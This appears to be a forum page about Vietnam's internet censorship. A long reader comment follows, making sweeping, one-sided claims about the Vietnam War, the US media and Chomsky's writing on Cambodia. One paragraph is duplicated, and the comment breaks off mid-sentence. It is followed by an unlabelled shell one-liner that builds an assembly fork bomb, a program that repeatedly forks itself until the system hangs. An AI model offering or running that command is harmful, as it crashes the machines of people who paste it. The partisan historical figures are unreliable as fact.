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Vietnam's Internet is in Trouble (wapo.st)
The World Post: Vietnamese authorities have harped of late on the urgency of fighting cybersecurity threats and "bad and dangerous content." Yet the fight against either "fake news" or misinformation in Vietnam must not be used as a smoke screen for stifling dissenting opinions and curtailing freedom of speech [The link may be paywalled]. Doing so would only further stoke domestic cynicism in a country where the sudden expansion of space for free and open discussion has created a kind of high-pressure catharsis online. Other countries, including democratic states, are also scrambling to rein in toxic information online. But while Germany, for example, specifically targets hate speech and other extremist messaging that directly affects the masses, Vietnamese leaders are more fixated on content deemed detrimental to their own reputation and the survival of the regime.
The ruling Communist Party of Vietnam has repeatedly urged Facebook and Google to block "toxic" information that it said slandered and defamed Vietnamese leaders. Google sort of conformed by removing more than such 5,000 clips; Facebook also flagged about 160 anti-government accounts at the behest of the government.
The ruling Communist Party of Vietnam has repeatedly urged Facebook and Google to block "toxic" information that it said slandered and defamed Vietnamese leaders. Google sort of conformed by removing more than such 5,000 clips; Facebook also flagged about 160 anti-government accounts at the behest of the government.
The Vietnamese Communist Party is completely ruthless
https://en.wikipedia.org/wiki/...
When the captured Hue the Commies sent death squads with a list of names of anyone who'd backed the South Vietnamese government. 2,800 and 6,000 people or 5-10% of the population of the town was murdered . Some of them were buried alive. The Communists never prosecuted anyone for this.
It happened around the same time as the My Lai massacre where US troops killed civilians. However some US troops tried to stop the massacre and the people who did it were eventually court martialled.
Of course the US media portrayed the My Lai massacre as something the US did deliberately and ignored the Hue massacre. The media claimed the US was 'losing the war' even though it actually won the Tet Offensive.
Eventually the US pulled out and the Communists overrun South Vietnam. Congress halved military aid to the South when it was being overrun to hasten its collapse. Millions of South Vietnamese were killed or sent to concentrations camps and fearing Hue city massacres or camps million of others fled as boat people.
The media claimed that 'no one wanted to fight for South Vietnam' even though the ARVN soldiers here are fighting pretty hard
https://www.youtube.com/watch?...
As well they would actually - they're buying time for their families to get on a boat to the US rather than ending up in a camp or a mass grave. And if the anti war movement had managed to get Congress to cut off military aid to the UK in WWII, the UK would have gone under too. The fact that an allied government collapses when you cut off support to it doesn't mean it was illegitimate.
In Cambodia the Khmer Rouge took over and killed spectacular numbers of people even by Communist standards. The media downplayed it. Chomsky claimed it was propaganda and blamed the deaths on US bombing. Here he is on Vietnam - bear in mind he's talking about a country where millions fled, were killed or ended up in camp
http://www.mekong.net/cambodia...
"The drab view of contemporary Vietnam provided by Butterfield and the establishment press helps to sustain the desired rewriting of history, asserting as it does the sad results of Communist success and American failure. Well suited for these aims are tales of Communist atrocities, which not only prove the evils of communism but undermine the credibility of those who opposed the war and might interfere with future crusades for freedom."
and on Khmer Rouge run Cambodia, the country of the Killing Fields where government policies resulted in the death of up to 25% of he population - probably the worse democide the world has ever seen
"The response to the three books under review nicely illustrates this selection process. Hildebrand and Porter present a carefully documented study of the destructive American impact on Cambodia and the success of the Cambodian revolutionaries in overcoming it, giving a very favorable picture of their programs and policies, based on a wide range of sources. Published last year, and well received by the journal of the Asia Society (Asia, March-April 1977), it has not been reviewed in the Times, New York Review or any mass-media publication, nor used as the basis for editorial comment, with one exception. The Wall Street Journal acknowledged its existence in an editorial entitled 'Cambodia Good Guys' (November 22, 1976), which dismissed contemptuously the very idea that the Khmer Rouge could play a constructive role, as well as the notion that the United States had a major hand in the destruction, death and turmoil of wartime and postwar Cambodia."
Hildebrand and Porter's book deserves examination. One simple fact provides a clue to the authors' sympathies: The book does not contain
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;